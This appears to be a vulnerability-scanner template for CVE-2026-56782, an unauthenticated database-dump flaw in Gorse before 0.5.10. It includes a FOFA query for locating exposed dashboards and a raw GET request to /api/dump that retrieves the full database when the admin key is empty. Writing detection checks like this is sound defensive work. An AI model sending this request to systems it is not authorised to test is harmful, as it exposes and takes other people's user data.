id: CVE-2026-56782

info:
  name: Gorse < 0.5.10 - Unauthenticated Database Dump
  author: 0x_Akoko
  severity: critical
  description: |
    Gorse < 0.5.10 contains an authentication bypass caused by empty admin_api_key in /api/dump and /api/restore endpoints, letting unauthenticated remote attackers access and modify protected data, exploit requires default empty admin_api_key configuration.
  impact: |
    Remote attackers can exfiltrate or overwrite the entire database including sensitive user data without authentication.
  remediation: |
    Update to version 0.5.10 or later.
  reference:
    - https://github.com/gorse-io/gorse/issues/1292
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56782
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-56782
    epss-score: 0.03344
    epss-percentile: 0.87457
    cwe-id: CWE-306
  metadata:
    max-request: 2
    verified: true
    vendor: gorse-io
    product: gorse
    fofa-query: title="Gorse Dashboard"
  tags: cve,cve2026,gorse,unauth,exposure,misconfig

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(tolower(body), "gorse")
        condition: and
        internal: true

  - raw:
      - |
        GET /api/dump HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/octet-stream")
          - "!contains(body, 'unauthorized')"
        condition: and
# digest: 4a0a004730450221009e93b9c581d2d2ade212117eaa86b2db63fec1156af6763946be54285dcbe4a5022036a809f15321f22cdf12ba7378c0d2025e4360d746163dde7e7ab7da906f928e:922c64590222798bb761d5b6d8e72950